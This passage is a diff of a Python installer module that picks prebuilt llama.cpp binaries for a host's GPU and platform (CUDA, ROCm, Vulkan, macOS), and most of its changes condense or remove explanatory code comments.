The venv hipInfo.exe (AMD wheel, put on PATH by the bnb fix) is NOT a HIP SDK
(_amd_smi_allowed)."""
try:
- # realpath (not abspath): resolve symlinks/8.3 names so an aliased venv matches.
_root = os.path.normcase(os.path.realpath(sys.prefix))
- # Guard a root-dir prefix (C:\ or /): commonpath would match every path on
- # it. A venv is never at root, so treat that as outside.
+ # Root-dir prefix: commonpath would match every path, and a venv is never at root.
if os.path.dirname(_root) == _root:
return False
return os.path.normcase(os.path.commonpath([os.path.realpath(path), _root])) == _root
except (ValueError, OSError):
- # Different drive / unresolvable -> treat as outside the venv.
return False
@@ -235,9 +219,7 @@ def _amd_smi_allowed() -> bool:
return True
if flag in ("0", "false", "no", "off"):
return False
- # A real HIP SDK lets amd-smi run un-elevated; hipinfo-on-PATH is the proxy.
- # Ignore the venv hipInfo.exe (AMD wheel via bnb fix): not a HIP SDK, doesn't
- # stop amd-smi's DiskPart UAC.
+ # A real HIP SDK lets amd-smi run un-elevated; ignore the venv hipInfo.exe (not an SDK).
if _external_hipinfo_on_path():
return True
for _var in ("HIP_PATH", "HIP_PATH_57", "ROCM_PATH"):
@@ -272,14 +254,8 @@ def env_int(
return value
-# Prefer "latest" over "master" -- "master" bypasses the prebuilt resolver
-# (no matching GitHub release), forces a source build, and causes HTTP 422
-# errors. Only use "master" temporarily when the latest release is missing
-# support for a new model architecture.
+# Prefer "latest": "master" bypasses the prebuilt resolver and forces a source build.
DEFAULT_LLAMA_TAG = os.environ.get("UNSLOTH_LLAMA_TAG", "latest")
-# Default published repo for prebuilt release resolution. Every host plans
-# its prebuilt against the Unsloth fork; setup.sh/setup.ps1 pass it via
-# --published-repo. ggml-org is reachable only via an explicit override.
DEFAULT_PUBLISHED_REPO = "unslothai/llama.cpp"
DEFAULT_PUBLISHED_TAG = os.environ.get("UNSLOTH_LLAMA_RELEASE_TAG")
DEFAULT_PUBLISHED_MANIFEST_ASSET = os.environ.get(
@@ -296,12 +272,8 @@ TEST_MODEL_URL = "https://huggingface.co/ggml-org/models/resolve/main/tinyllamas
TEST_MODEL_SHA256 = "270cba1bd5109f42d03350f60406024560464db173c0e387d91f0426d3bd256d"
VALIDATION_MODEL_CACHE_DIRNAME = ".cache"
VALIDATION_MODEL_CACHE_FILENAME = "stories260K.gguf"
-# Master switch for the staged runtime smoke test (llama-quantize + llama-server)
-# in validate_prebuilt_choice. Disabled for now: the llama-server GPU forward pass
-# JIT-compiles CUDA kernels on first load and stalls every install and update by
-# minutes on Blackwell (sm_100). The check and the source-build fallback it triggers
-# are kept intact -- set this to True, or set UNSLOTH_LLAMA_STAGED_VALIDATION=1, to
-# re-enable them (#5854 gap 2).
+# Disabled: the llama-server GPU forward pass JIT-compiles kernels and stalls installs by
+# minutes on Blackwell. Set True or UNSLOTH_LLAMA_STAGED_VALIDATION=1 to re-enable.
_RUN_STAGED_PREBUILT_VALIDATION = False
@@ -354,9 +326,7 @@ DEFAULT_MAX_PREBUILT_RELEASE_FALLBACKS = env_int(
2,
minimum = 1,
)
-# Deeper macOS-only walk-back: upstream can ship a run of prebuilts built for a
-# newer macOS than the host, only caught at validate time, so an older host must
-# skip the whole run. Free on new hosts (first plan validates, extras unused).
+# macOS only: upstream can ship a run of prebuilts built for a newer macOS than the host.
DEFAULT_MAX_MACOS_RELEASE_FALLBACKS = env_int(
"UNSLOTH_LLAMA_MAX_MACOS_RELEASE_FALLBACKS",
16,
@@ -367,28 +337,18 @@ _PINNED_MACOS_FALLBACK_TAG = "b9415"
_PINNED_MACOS_LATEST_FLOOR = (26, 0)
FORCE_COMPILE_DEFAULT_REF = os.environ.get("UNSLOTH_LLAMA_FORCE_COMPILE_REF", "master")
-# Lowest CUDA major we ship prebuilts for, and the highest major we probe for
-# installed runtime libraries. Detection and runtime-line derivation are
-# generated per major so a new toolkit (cuda14, ...) needs no code change while
-# llama.cpp keeps the cudart64_<major>.dll / libcudart.so.<major> naming.
+# Per-major detection keeps cuda14+ working while llama.cpp keeps the cudart naming.
_MIN_CUDA_MAJOR = 12
_MAX_PROBE_CUDA_MAJOR = 19
-# CUDA 13 dropped every target below sm_75, so no cuda13 bundle can serve a
-# Maxwell, Pascal or Volta card (issue #7765).
+# CUDA 13 dropped every target below sm_75.
_TURING_MIN_SM = 75
-# Span of PyTorch's cu126 wheels, the build the remedy below points at.
-# Mirrors _CU126_SM_RANGE in install_python_stack.py.
+# Span of PyTorch's cu126 wheels; mirrors _CU126_SM_RANGE in install_python_stack.py.
_CU126_SM_RANGE = (50, 90)
-# Blackwell floor is sm_100: data-center parts (B100/B200 sm_100, B300/GB300
-# sm_103) sit below consumer Blackwell (RTX 50 sm_120); the family needs toolkit
-# >= 12.8, except sm_103/sm_121 which need 12.9. (120 here wrongly excluded the
-# sm_100/103 data-center hosts.)
+# Blackwell floor is sm_100 (data-center parts sit below consumer sm_120).
_BLACKWELL_MIN_SM = 100
_BLACKWELL_MIN_TOOLKIT = (12, 8)
-# SMs that need a newer toolkit than the family floor (CUDA 12.9 added native
-# sm_103/sm_121 targets; 12.8 covers sm_100/101/120).
_BLACKWELL_SM_MIN_TOOLKIT = {103: (12, 9), 121: (12, 9)}
@@ -415,13 +375,10 @@ class HostInfo:
has_physical_nvidia: bool
has_usable_nvidia: bool
has_rocm: bool = False
- # Every compute cap nvidia-smi reported, before CUDA_VISIBLE_DEVICES filtering.
- # compute_caps holds only the VISIBLE ones and empties under a mask, which is the
- # selector's unknown-SM path: it skips min_sm/max_sm and could hand a masked sm_61
- # host an sm_70 floor.
+ # Caps before CUDA_VISIBLE_DEVICES filtering; compute_caps empties under a mask,
+ # which would skip min_sm/max_sm checks.
physical_compute_caps: list[str] = field(default_factory = list)
has_intel_gpu: bool = False
- # AMD present, ROCm unusable. Probed only when neither NVIDIA nor ROCm is usable.
has_amd_gpu_without_rocm: bool = False
rocm_gfx_target: str | None = None
rocm_gfx_targets: list[str] = field(default_factory = list)
@@ -443,9 +400,7 @@ class AssetChoice:
name: str
url: str
source_label: str
- # Paired runtime archive (Windows CUDA cudart bundle). When set,
- # install_from_archives also downloads it and overlays its DLLs on
- # top of the main install. See unslothai/unsloth#5106.
+ # Paired Windows cudart archive, overlaid on top of the main install.
runtime_name: str | None = None
runtime_url: str | None = None
runtime_sha256: str | None = None
@@ -459,11 +414,8 @@ class AssetChoice:
max_sm: int | None = None
selection_log: list[str] | None = None
expected_sha256: str | None = None
- # expected_sha256 came from GitHub's release digest, not the approved manifest:
- # see prebuilt_needs_functional_validation.
+ # Digest came from GitHub's release, not the approved manifest.
unmanifested_digest: bool = False
- # ROCm bundles only (mirrors PublishedLlamaArtifact): umbrella gfx family
- # and the concrete archs the binaries were built for.
gfx_target: str | None = None
mapped_targets: list[str] | None = None
@@ -479,8 +431,6 @@ class PublishedLlamaArtifact:
max_sm: int | None
bundle_profile: str | None
rank: int
- # ROCm bundles only: the umbrella gfx target (e.g. "gfx110X") and the
- # concrete gfx archs it covers (e.g. ["gfx1100", "gfx1101", ...]).
gfx_target: str | None = None
mapped_targets: list[str] = field(default_factory = list)
@@ -539,8 +489,7 @@ class ApprovedReleaseChecksums:
resolved_source_ref: str | None = None
source_commit: str | None = None
source_commit_short: str | None = None
- # git tree id of ggml/ in the built source: changes exactly when ggml does,
- # so it is the ABI key for slim whisper bundles.
+ # git tree id of ggml/: the ABI key for slim whisper bundles.
ggml_tree: str | None = None
artifacts: dict[str, ApprovedArtifactHash] = field(default_factory = dict)
@@ -571,7 +520,6 @@ class InstallReleasePlan:
release_tag: str
attempts: list[AssetChoice]
approved_checksums: ApprovedReleaseChecksums
- # None when release_tag is the newest: tells a macOS walk-back from an install that fell behind.
walk_back: "_core.WalkBack | None" = None
@@ -610,9 +558,8 @@ def is_cross_device_error(exc: BaseException) -> bool:
return isinstance(exc, OSError) and exc.errno == errno.EXDEV
-# Status logs default to stderr so resolver modes keep stdout machine-readable
-# (setup.sh json.load()s the whole stdout). main() flips this for the install
-# path, where PowerShell otherwise renders stderr as NativeCommandError noise.
+# stderr by default so resolver modes keep stdout machine-readable (setup.sh json.load()s it);
+# main() flips it since PowerShell renders stderr as NativeCommandError noise.
_LOG_TO_STDOUT = False
@@ -644,7 +591,7 @@ def github_api_headers(url: str | None = None) -> dict[str, str]:
is_github_api_url = _core.is_github_api_url
is_retryable_url_error = _core.is_retryable_url_error
-# Alias, not a copy: _http_error_retry_delay reads prebuilt_core's global, so a literal here does nothing.
+# Alias, not a copy: _http_error_retry_delay reads prebuilt_core's global.
_RATE_LIMIT_WAIT_CAP_SECONDS = _core._RATE_LIMIT_WAIT_CAP_SECONDS
_http_error_retry_delay = _core._http_error_retry_delay
sleep_backoff = _core.sleep_backoff
@@ -800,7 +747,6 @@ def checkout_friendly_ref(ref_kind: str | None, ref: str | None) -> str | None:
return ref
-# Upstream names these llama-<tag>-bin-win-cuda-<runtime>-<arch>.zip, arch in {x64, arm64}.
WINDOWS_CUDA_ARCHS = ("x64", "arm64")
_WINDOWS_CUDA_INSTALL_KINDS = ("windows-cuda", "windows-arm64-cuda")
@@ -954,13 +900,12 @@ def download_bytes(
progress_label = progress_label,
)
- # Cache only small metadata. Archive downloads must never be held in memory.
+ # Archive downloads must never be held in memory.
if url.endswith(".json"):
return _memoized_fetch(("bytes", url), _download)
return _download()
-# Enabled only while --resolve-backends plans several options from one metadata snapshot.
_METADATA_MEMO: dict[Any, Any] | None = None
@@ -980,7 +925,6 @@ def _memoized_fetch(key: Any, produce: Callable[[], Any]) -> Any:
if memo is None:
return produce()
if key not in memo:
- # Cache successes only.
memo[key] = produce()
return memo[key]
@@ -1068,8 +1012,7 @@ def web_release_tags(repo: str, *, limit: int = 30) -> list[str]:
def web_release_payload(repo: str, tag: str) -> dict[str, Any]:
- # Upstream publishes every bNNNN build as a prerelease, so the tag already answers
- # the label question if its page cannot be reached.
+ # Upstream publishes every bNNNN build as a prerelease, so the tag answers the label question.
default = True if repo == UPSTREAM_REPO and is_release_tag_like(tag) else None
return _core.web_release_payload(_OPS, repo, tag, prerelease_default = default)
@@ -1104,7 +1047,6 @@ def latest_upstream_release_tag() -> str:
else:
reason = RuntimeError(f"latest release tag was missing from {UPSTREAM_RELEASES_API}")
except RELEASE_LISTING_TRANSPORT_ERRORS as exc:
- # A tokenless 403 surfaces as the RuntimeError fetch_json raises for a rate limit.
reason = exc
if not _web_fallback_eligible(UPSTREAM_REPO):
if rest_tag:
@@ -1158,11 +1100,8 @@ def release_is_selectable(repo: str, release: dict[str, Any]) -> bool:
if release.get("draft"):
return False
if repo == UPSTREAM_REPO:
- # Upstream ships binaries only under bNNNN, and marks every one of them
- # prerelease. Both halves matter: accepting the prerelease is what stops the
- # path stranding hundreds of builds back, and refusing the versioned pointer
- # releases is what stops one of them being named newest by the freshness check
- # while the planner walks past it for want of an asset.
+ # Upstream ships binaries only under bNNNN, all marked prerelease; versioned pointer releases
+ # carry no assets and must not be named newest.
return is_release_tag_like(release.get("tag_name"))
return not release.get("prerelease")
@@ -1213,8 +1152,6 @@ def _web_release_payloads(repo: str, reason: Exception) -> Iterable[dict[str, An
except Exception as exc: # noqa: BLE001 - one unreadable release is not the end of the walk
log(f"skipping {repo}@{tag}: {exc}")
continue
- # The REST listing's rule, on a status read rather than assumed, so the two
- # paths cannot select differently.
if not release_is_selectable(repo, release):
log(f"skipping {repo}@{tag}: not selectable (prerelease or draft)")
continue
@@ -1240,8 +1177,7 @@ def iter_release_payloads_by_time(
yield github_release(repo, requested_tag)
return
except urllib.error.HTTPError as exc:
- # HTTPError subclasses URLError, so this clause shadows the one below and
- # must route the fallback itself; a 404 tag has no page to read either.
+ # HTTPError subclasses URLError, so this clause must route the fallback itself.
if exc.code == 404:
log(f"release tag {requested_tag} not found in {repo}; scanning recent releases")
elif _web_fallback_eligible(repo):
@@ -1250,8 +1186,6 @@ def iter_release_payloads_by_time(
else:
raise
except RELEASE_LISTING_TRANSPORT_ERRORS as exc:
- # A named release is one page, so a pin is what this path serves best; the
- # macOS-floor pin (b9415) reaches here.
if not _web_fallback_eligible(repo):
raise
yield _web_release_or_raise(repo, requested_tag, exc)
@@ -1340,7 +1274,6 @@ def direct_upstream_release_plan(
assets = release_asset_map(release)
attempts: list[AssetChoice] = []
if host.is_windows and host.is_x86_64:
- # A masked NVIDIA host too, as on Linux: it fell through to the CPU attempt.
masked_host = _masked_nvidia_selection_host(host)
if host.has_usable_nvidia or masked_host is not None:
selection_host = masked_host or host
@@ -1419,7 +1352,6 @@ def direct_upstream_release_plan(
)
)
elif host.is_windows and host.is_arm64:
- # Upstream ships -arm64 CUDA bundles for these parts; try them first, CPU bundle still last.
if host.has_usable_nvidia and _upstream_arm64_cuda_allowed():
torch_preference = detect_torch_cuda_runtime_preference(host)
attempts.extend(
@@ -1494,13 +1426,8 @@ def direct_upstream_release_plan(
)
)
elif host.is_linux and host.is_x86_64 and not host.has_usable_nvidia and not host.has_rocm:
- # ROCm hosts are excluded: this ggml-org path ships no per-gfx ROCm
- # asset, so they fall through to the empty-attempts raise (HIP source
- # build) rather than silently getting a CPU binary on a GPU host.
- # Intel or AMD GPU with no usable ROCm: use the Vulkan prebuilt. No PHYSICAL NVIDIA,
- # so a CUDA-hidden card is not reached through Vulkan. Widening from Intel-only is
- # safe: the Vulkan bundle is a superset of the CPU one and falls back to CPU when no
- # Vulkan device enumerates. Steam Deck (gfx1033, Qwen2.5-0.5B Q4_0): 112.8 vs 49.8 tok/s.
+ # ROCm hosts are excluded: no per-gfx ROCm asset here, so they source-build rather than get CPU.
+ # Vulkan for Intel/AMD-without-ROCm falls back to CPU when no Vulkan device enumerates.
if (host.has_intel_gpu or host.has_amd_gpu_without_rocm) and not host.has_physical_nvidia:
vulkan_asset = f"llama-{release_tag}-bin-ubuntu-vulkan-x64.tar.gz"
vulkan_url = assets.get(vulkan_asset)
@@ -1529,14 +1456,7 @@ def direct_upstream_release_plan(
)
)
elif host.is_linux and host.is_arm64 and not host.has_usable_nvidia:
- # Upstream ggml-org/llama.cpp ships llama-bNNNN-bin-ubuntu-arm64.tar.gz
- # (visible in the b9334 release manifest). Without this branch the
- # selector returned 0 attempts and the installer fell back to a
- # source build on every Linux ARM64 host (DGX Spark, Ampere
- # Altra, GitHub-hosted ubuntu-24.04-arm runners, etc.).
- # Intel GPU: prefer the Vulkan prebuilt (bin-ubuntu-vulkan-arm64). No physical NVIDIA,
- # so a CUDA-hidden card is not reached through Vulkan. Deliberately NOT
- # has_amd_gpu_without_rocm as x86_64 does: that widening was only measured there.
+ # Intel only, not has_amd_gpu_without_rocm as on x86_64: that widening was measured only there.
if host.has_intel_gpu and not host.has_physical_nvidia and not host.has_rocm:
vulkan_asset = f"llama-{release_tag}-bin-ubuntu-vulkan-arm64.tar.gz"
vulkan_url = assets.get(vulkan_asset)
@@ -1566,16 +1486,14 @@ def direct_upstream_release_plan(
)
if not attempts:
raise PrebuiltFallback("no compatible upstream prebuilt asset was found")
- # These archives are extracted, chmod 0o755'd and executed, and download_file_verified
- # treats a None digest as a pass. The release we were handed already states a per-asset
- # digest, so bind every attempt to one and drop the attempts it does not cover.
+ # These archives are executed and a None digest passes verification, so bind every attempt
+ # to the release's per-asset digest and drop the ones it does not cover.
verified = _apply_release_digests(attempts, release_asset_digests(release))
if not verified:
raise PrebuiltFallback(
f"{repo}@{release_tag} publishes no asset digest for any compatible prebuilt; "
"refusing to install one unverified"
)
- # Digest-verified but not manifest-approved, so the smoke test stays on.
for attempt in verified:
attempt.unmanifested_digest = True
return InstallReleasePlan(
@@ -1608,9 +1526,7 @@ def resolve_simple_install_release_plans(
max_release_fallbacks: int = DEFAULT_MAX_PREBUILT_RELEASE_FALLBACKS,
) -> "tuple[str, Sequence[InstallReleasePlan]]":
repo = published_repo or DEFAULT_PUBLISHED_REPO
- # The fork (unslothai) ships a manifest describing every bundle's GPU/arch
- # coverage, so all fork hosts select from it. Upstream (ggml-org) ships no
- # manifest and is selected by asset filename in the loop below.
+ # The fork ships a coverage manifest; upstream is selected by asset filename below.
if repo == DEFAULT_PUBLISHED_REPO:
return _fork_manifest_release_plans(
llama_tag,
@@ -1784,8 +1700,6 @@ def parse_published_release_bundle(
if not manifest_url:
return None
- # Mixed repos are filtered by an explicit release-side manifest rather than
- # by release tag or asset filename conventions.
manifest_bytes = _memoized_fetch(
("bytes", manifest_url),
lambda: download_bytes(
@@ -2026,8 +1940,7 @@ def _warn_uncovered_cuda_host(
path. The explicit pin remains valid when llama.cpp visibility differs from
the installer's physical inventory.
"""
- # Decided before the dedupe: `artifacts` varies per release, so the release walk-back
- # could let an unhelpful release swallow the remedy. The cap is x86_64 only.
+ # Decided before the dedupe so an unhelpful release cannot swallow the remedy.
advise_cu126 = (
not is_arm64
and any(int(sm) < _TURING_MIN_SM for sm in host_sms)
@@ -2190,9 +2103,6 @@ def linux_cuda_choice_from_release(
else "none"
)
)
- # arm64 CUDA hosts (DGX Spark / Grace Hopper) consume linux-arm64-cuda
- # bundles; x64 hosts consume linux-cuda. The SM / runtime-line matching
- # below is arch-agnostic and applies to both.
cuda_install_kind = "linux-arm64-cuda" if host.is_arm64 else "linux-cuda"
published_artifacts = [
artifact for artifact in release.artifacts if artifact.install_kind == cuda_install_kind
@@ -2236,8 +2146,6 @@ def linux_cuda_choice_from_release(
else []
)
if blackwell_lines:
- # Blackwell host: prefer the highest CUDA-major line shipping an sm_120 bundle
- # over torch's line (matches the Windows Blackwell preference).
ordered_runtime_lines = blackwell_lines + [
line for line in ordered_runtime_lines if line not in blackwell_lines
]
@@ -2427,16 +2335,10 @@ def _validate_checksums_against_bundle(
raise PrebuiltFallback(
"published manifest checksum did not match the approved checksum asset"
)
- # Accept bundles that carry only an exact-commit source archive
- # (e.g. llama.cpp-source-commit-<sha>.tar.gz) without requiring the
- # legacy llama.cpp-source-<upstream_tag>.tar.gz entry.
if exact_source_archive_hash(checksums) is None:
require_approved_source_hash(checksums, bundle.upstream_tag)
elif source_clone_url_for_release(checksums, bundle) is None:
- # No source repo in either the checksum payload or the manifest bundle:
- # preferred_source_archive would silently fall back to ggml-org source at
- # the upstream tag, pairing the prebuilt with a possibly mismatched tree.
- # Fail closed so the resolver skips this release.
+ # Fail closed: falling back to ggml-org source could pair the prebuilt with a mismatched tree.
raise PrebuiltFallback(
f"approved checksum asset for {repo}@{bundle.release_tag} declared an "
"exact source archive without a source repo to clone it from"
@@ -2495,11 +2397,7 @@ def _download_host_resolved_release(
raise
if not isinstance(sha_payload, dict):
return None
- # Cross-check the asset's self-reported release_tag against the authoritative
- # redirect tag: parse_approved_release_checksums raises on a mismatch.
checksums = parse_approved_release_checksums(repo, release_tag, sha_payload)
- # Synthesize the API release payload with tag-pinned CDN URLs for every named
- # asset; parse_published_release_bundle then reads the manifest, still no API.
asset_names = set(checksums.artifacts) | {
DEFAULT_PUBLISHED_MANIFEST_ASSET,
DEFAULT_PUBLISHED_SHA256_ASSET,
@@ -2519,16 +2417,13 @@ def _download_host_resolved_release(
try:
bundle = parse_published_release_bundle(repo, synthetic_release)
except urllib.error.HTTPError as exc:
- # In-progress release: the checksum asset can land before the manifest;
- # treat a manifest 404 like the sha256 404 above and fall back to the API.
+ # In-progress release: the manifest can land after the checksum asset.
if exc.code == 404:
return None
raise
if bundle is None:
return None
- # A manifest artifact can be keyed in the checksum JSON under an upstream-tag
- # alias, so add a tag-pinned URL for any manifest artifact missing above (the
- # API path gets these from the real asset list); sha256 is still verified.
+ # A manifest artifact can be keyed under an upstream-tag alias; sha256 is still verified.
for artifact in bundle.artifacts:
bundle.assets.setdefault(
artifact.asset_name,
@@ -2611,11 +2506,8 @@ def iter_resolved_published_releases(
repo = published_repo or DEFAULT_PUBLISHED_REPO
normalized_requested = normalized_requested_llama_tag(requested_tag)
- # Fast path: resolve a pinned or latest fork release from the download host (no
- # api.github.com rate limit). Latest surfaces only the newest release: macOS walks
- # back past too-new prebuilts via continue_after_fast_path, otherwise a broken
- # latest drops to source build. Pinned tags use the same CDN path so in-app updates
- # avoid the API entirely (#9970). Any rejection/network error falls through to the API.
+ # Fast path resolves via the download host to avoid api.github.com rate limits;
+ # any rejection or network error falls through to the API.
fast_path_tag: str | None = None
if published_release_tag:
fast_path_tag = published_release_tag
@@ -2650,10 +2542,7 @@ def iter_resolved_published_releases(
f"{resolved.bundle.upstream_tag}, but requested {normalized_requested}"
)
yield resolved
- # A pin names exactly one release, so there is nothing to walk back to and
- # continue_after_fast_path has nothing to add. Falling through would re-resolve
- # the same tag below -- the same release twice, and an api.github.com call to
- # do it -- so a pin returns here whatever the walk-back flag says.
+ # A pin names exactly one release, so re-resolving it via the API would be wasted.
if not continue_after_fast_path or published_release_tag:
return
fast_path_release_tag = resolved.bundle.release_tag
@@ -2679,7 +2568,6 @@ def iter_resolved_published_releases(
if not published_release_matches_request(bundle, normalized_requested):
continue
if fast_path_release_tag is not None and bundle.release_tag == fast_path_release_tag:
- # Already yielded from the download host.
continue
matched_any = True
try:
@@ -2734,10 +2622,7 @@ def resolve_requested_llama_tag(
normalized_requested = normalized_requested_llama_tag(requested_tag)
if normalized_requested != "latest":
return normalized_requested
- # Prefer the Unsloth release repo tag (tested/approved) over bleeding-edge
- # upstream. For example, unslothai/llama.cpp may publish b8508 while
- # ggml-org/llama.cpp latest is b8514. The source-build fallback should
- # compile the same version the prebuilt path would have installed.
+ # Build source at the fork's tag so it matches what the prebuilt path would install.
if published_repo:
try:
return resolve_published_release(
@@ -2747,7 +2632,6 @@ def resolve_requested_llama_tag(
).bundle.upstream_tag
except Exception:
pass
- # Fall back to upstream ggml-org latest release tag
return latest_upstream_release_tag()
@@ -2772,9 +2656,6 @@ def exact_source_archive_hash(checksums: ApprovedReleaseChecksums) -> ApprovedAr
def source_clone_url_for_release(
checksums: ApprovedReleaseChecksums, bundle: PublishedReleaseBundle
) -> str | None:
- # Single source of truth for "where do we clone source from", shared by the
- # validation gate and source_build_plan_for_release: take the repo from the
- # checksum payload, falling back field by field to the manifest bundle.
return source_repo_clone_url(
checksums.source_repo or bundle.source_repo,
checksums.source_repo_url or bundle.source_repo_url,
@@ -2881,9 +2762,7 @@ def run_capture(
check: bool = False,
env: dict[str, str] | None = None,
) -> subprocess.CompletedProcess[str]:
- # amd-smi on Windows auto-elevates and pops a UAC/DiskPart prompt mid-install;
- # RunAsInvoker forces it un-elevated. Callers already fall back to WMI/name
- # detection. Mirrors install.ps1's Invoke-AmdSmiNoElevate; Windows-only.
+ # amd-smi on Windows auto-elevates and pops a UAC/DiskPart prompt; RunAsInvoker prevents it.
if (
command
and platform.system() == "Windows"
@@ -2980,12 +2859,10 @@ def _pick_rocm_gfx_target(
if _val is not None:
_vis_raw = _val
break
- # Still an explicit selection: survivor 0, so the discrete repick below must not override it.
if _vis_raw is None and rocr_filtered and os.environ.get("ROCR_VISIBLE_DEVICES") is not None:
_vis_raw = "0" if os.environ["ROCR_VISIBLE_DEVICES"].strip() not in ("", "-1") else ""
if _vis_raw is not None:
_vis = _vis_raw.strip()
- # Empty or "-1" means "no AMD GPU visible" (matches the rest of Unsloth).
if _vis == "" or _vis == "-1":
return None
_first = _vis.split(",")[0].strip()
@@ -2995,7 +2872,6 @@ def _pick_rocm_gfx_target(
return _tokens[_idx]
except ValueError:
pass
- # An explicit selection this function cannot resolve: device 0, as before.
return _tokens[0]
_pick = _tokens[0]
@@ -3005,12 +2881,9 @@ def _pick_rocm_gfx_target(
if _candidate in SHADOWING_INTEGRATED_GFX or _candidate == "gfx906":
continue
return _candidate
- # Every device is an integrated arch (or gfx906): keep the leading one, never None.
return _pick
-# Display-adapter device class: one NNNN subkey per installed display driver
-# config, each carrying the driver's DriverDesc and PCI MatchingDeviceId.
_WINDOWS_DISPLAY_CLASS_KEY = (
r"SYSTEM\CurrentControlSet\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}"
)
@@ -3065,7 +2938,6 @@ def _windows_display_adapter_in_registry(needles: tuple[tuple[str, str], ...]) -
try:
name = winreg.EnumKey(class_key, index)
if not name.isdigit():
- # "Properties" is ACL-restricted and not an adapter.
continue
with winreg.OpenKey(class_key, name) as adapter_key:
for value_name, needle in needles:
@@ -3078,9 +2950,7 @@ def _windows_display_adapter_in_registry(needles: tuple[tuple[str, str], ...]) -
except OSError:
continue
except Exception:
- # Advisory probe: any unexpected failure must degrade to the CIM
- # fallback, never crash the installer (mirrors detect_host's own
- # swallow around the CIM probe).
+ # Advisory probe: any failure must degrade to the CIM fallback, never crash the installer.
return False
return False
@@ -3135,11 +3005,7 @@ def detect_host(*, probe_rocm_with_nvidia: bool = False) -> HostInfo:
has_physical_nvidia = False
has_usable_nvidia = False
if nvidia_smi:
- # Require `nvidia-smi -L` to actually list a GPU before treating the
- # host as NVIDIA. The banner text "NVIDIA-SMI ..." is printed even
- # when the command fails to communicate with the driver (e.g. stale
- # container leftovers), which would otherwise misclassify an AMD
- # ROCm host as NVIDIA and short-circuit the ROCm path.
+ # Require `nvidia-smi -L` to list a GPU: the banner prints even when the driver is unreachable.
try:
listing = run_capture([nvidia_smi, "-L"], timeout = 20)
gpu_lines = [line for line in listing.stdout.splitlines() if line.startswith("GPU ")]
@@ -3152,9 +3018,7 @@ def detect_host(*, probe_rocm_with_nvidia: bool = False) -> HostInfo:
try:
result = run_capture([nvidia_smi], timeout = 20)
merged = "\n".join(part for part in (result.stdout, result.stderr) if part)
- # Newer NVIDIA drivers (e.g. 610.x on Windows) print
- # "CUDA UMD Version: X.Y" instead of the legacy
- # "CUDA Version: X.Y"; accept both spellings.
+ # Newer drivers print "CUDA UMD Version: X.Y" instead of "CUDA Version: X.Y".
cuda_match = re.search(
r"CUDA(?: UMD)? Version:\s*(\d+)\.(\d+)",
merged,
@@ -3183,8 +3047,6 @@ def detect_host(*, probe_rocm_with_nvidia: bool = False) -> HostInfo:
continue
index, uuid, cap = parts
normalized_cap = normalize_compute_cap(cap)
- # Recorded before the mask filter: an emptied CUDA_VISIBLE_DEVICES drops
- # every row, and a selection made for the hardware still needs its SMs.
if normalized_cap is not None and normalized_cap not in physical_compute_caps:
physical_compute_caps.append(normalized_cap)
visible_gpu_row = select_visible_gpu_rows(
@@ -3201,10 +3063,6 @@ def detect_host(*, probe_rocm_with_nvidia: bool = False) -> HostInfo:
if visible_gpu_rows:
has_usable_nvidia = True
- # Older nvidia-smi versions (pre -L support) hit the
- # except in the first try block but still succeed here,
- # leaving has_physical_nvidia unset. Mirror the -L path
- # so downstream diagnostics on line ~4390 still run.
if not has_physical_nvidia:
has_physical_nvidia = True
elif visible_device_tokens == []:
@@ -3216,12 +3074,7 @@ def detect_host(*, probe_rocm_with_nvidia: bool = False) -> HostInfo:
except Exception:
pass
- # Linux /proc/driver/nvidia/gpus fallback: the NVIDIA driver exposes one
- # subdir per GPU here regardless of nvidia-smi state, so a host whose
- # nvidia-smi is absent from PATH, wedged, or failing is still recognised as
- # NVIDIA. Mirrors the fallback added to install.sh / install_python_stack.py
- # in PR 6174 so the prebuilt installer does not misroute such hosts to ROCm
- # or CPU. driver_cuda_version / compute_caps are filled below where they can be.
+ # The driver exposes one subdir per GPU here even when nvidia-smi is absent or wedged.
if is_linux and not has_physical_nvidia:
try:
proc_gpu_dir = "/proc/driver/nvidia/gpus"
@@ -3231,8 +3084,6 @@ def detect_host(*, probe_rocm_with_nvidia: bool = False) -> HostInfo:
except OSError:
pass
- # What nvidia-smi could not say (absent, stale, hung, non-zero exit), the driver's own
- # libraries can. NVML is the physical inventory, like nvidia-smi, so the mask applies.
if (is_linux or is_windows) and (
not has_physical_nvidia or driver_cuda_version is None or not physical_compute_caps
):
@@ -3249,8 +3100,6 @@ def detect_host(*, probe_rocm_with_nvidia: bool = False) -> HostInfo:
visible_rows = rows
if not has_physical_nvidia:
has_physical_nvidia = True
- # As the nvidia-smi rows are read: a mask NVML rows cannot name (a MIG
- # UUID) leaves the GPU usable.
has_usable_nvidia = bool(visible_rows) or (
visible_device_tokens is not None
and visible_device_tokens != []
@@ -3268,19 +3117,14 @@ def detect_host(*, probe_rocm_with_nvidia: bool = False) -> HostInfo:
if inventory is not None and driver_cuda_version is None:
driver_cuda_version = inventory.cuda_driver_version
if is_linux and has_physical_nvidia and driver_cuda_version is None:
- # The kernel module names its release even when every library call fails, and the
- # release bounds the CUDA major (R580 carries 13, R525 carries 12).
+ # The kernel module reports its release even when every library call fails.
driver_cuda_version = cuda_version_for_driver(proc_driver_version())
if driver_cuda_version is not None:
log(
f"CUDA driver version {driver_cuda_version} inferred from /proc/driver/nvidia/version"
)
- # Detect AMD ROCm (HIP) -- require actual GPU, not just tools installed.
- # NVIDIA takes precedence for automatic selection: when an NVIDIA GPU is
- # usable, skip ROCm probing so co-installed ROCm tools cannot misroute the
- # host (PR 6174). An explicit ROCm request opts into the probe so mixed-GPU
- # hosts can select their AMD bundle.
+ # Skip ROCm probing when NVIDIA is usable so co-installed ROCm tools cannot misroute the host.
def _amd_smi_has_gpu(stdout: str) -> bool:
"""Check for 'GPU: <number>' data rows, not just a table header."""
@@ -3290,18 +3134,11 @@ def detect_host(*, probe_rocm_with_nvidia: bool = False) -> HostInfo:
rocm_gfx_target: str | None = None
rocm_gfx_targets: list[str] = []
if is_linux and (probe_rocm_with_nvidia or not has_usable_nvidia):
- # WSL2 ROCDXG: the system rocminfo enumerates the GPU over /dev/dxg
- # only when HSA_ENABLE_DXG_DETECTION=1 (a no-op on bare metal), and
- # rocminfo can live only under /opt/rocm/bin (the profile.d PATH
- # drop-in reaches login shells only). Probe accordingly or a ROCDXG
- # WSL host is misdetected as CPU-only.
+ # WSL2 ROCDXG: rocminfo needs HSA_ENABLE_DXG_DETECTION=1 and may live only in /opt/rocm/bin.
_dxg_probe_env = {**os.environ}
